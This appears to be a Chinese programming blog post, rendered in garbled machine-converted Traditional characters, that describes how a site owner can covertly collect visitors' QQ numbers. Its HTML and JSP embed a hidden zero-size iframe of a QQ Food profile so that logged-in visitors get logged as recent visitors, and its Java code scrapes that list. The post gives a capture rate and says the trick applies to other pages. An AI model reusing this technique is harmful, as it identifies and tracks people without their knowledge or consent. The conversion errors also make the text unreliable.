如今QQ美食這個頁面應該是禁止了,但其餘的頁面原理同樣能夠參照
前段時間很火的一段代碼,雖然只有%20-%30的獲取率,但仍是很不錯。 原理:主要是根據用戶訪問QQ美食我的主頁會出現一個列表框。若用戶登陸過QQ網頁,包括郵件家園空間等。都會將信息記錄在最近訪問人頁面。 根據這個。咱們能夠設計一下大致思路,將QQ美食網頁嵌入網頁。經過讀取QQ美食頁面的最近訪問人來得到來訪者QQ 下面來看代碼: 訪問網站body頁面嵌入
<iframe name="_login_frame_quick_" id="_login_frame_quick_" frameborder="no" scrolling="no" width="100%" height="100%" src="http://ui.ptlogin2.qq.com/cgi-bin/login?link_target=blank&target=self&appid=3001601&qlogin_jumpname=vipcomm&f_url=loginerroralert&qlogin_auto_login=0&s_url=http%3A//imgcache.qq.com/club/portal_new/redirect.html%3Fjump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569&qlogin_param=jump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569" style="height: 328px;"></iframe>
<%
out.print("<iframe style=\"width:0px; height:0px\" align=\"middle\" src=\"http://meishi.qq.com/profiles/6246569\" frameborder=\"0\" name=\"contactsFrame\" marginwidth=\"0\" scrolling=\"no\"></iframe>");
out.print(r.pl());
System.out.print(r.pl());
%>
java處理:
public String pl() {
Document doc = getHtml();
StringBuilder sb = new StringBuilder();
if (doc != null) {
Elements e = doc.getElementsByClass("style5");
Elements li = e.select("li");
for (Element element : li) {
Matcher m = numberPattern.matcher(element.toString());
while (m.find()) {
sb.append(m.group(1) + "--" + m.group(2) + "<br/>");
}
}
}
return sb.toString();
}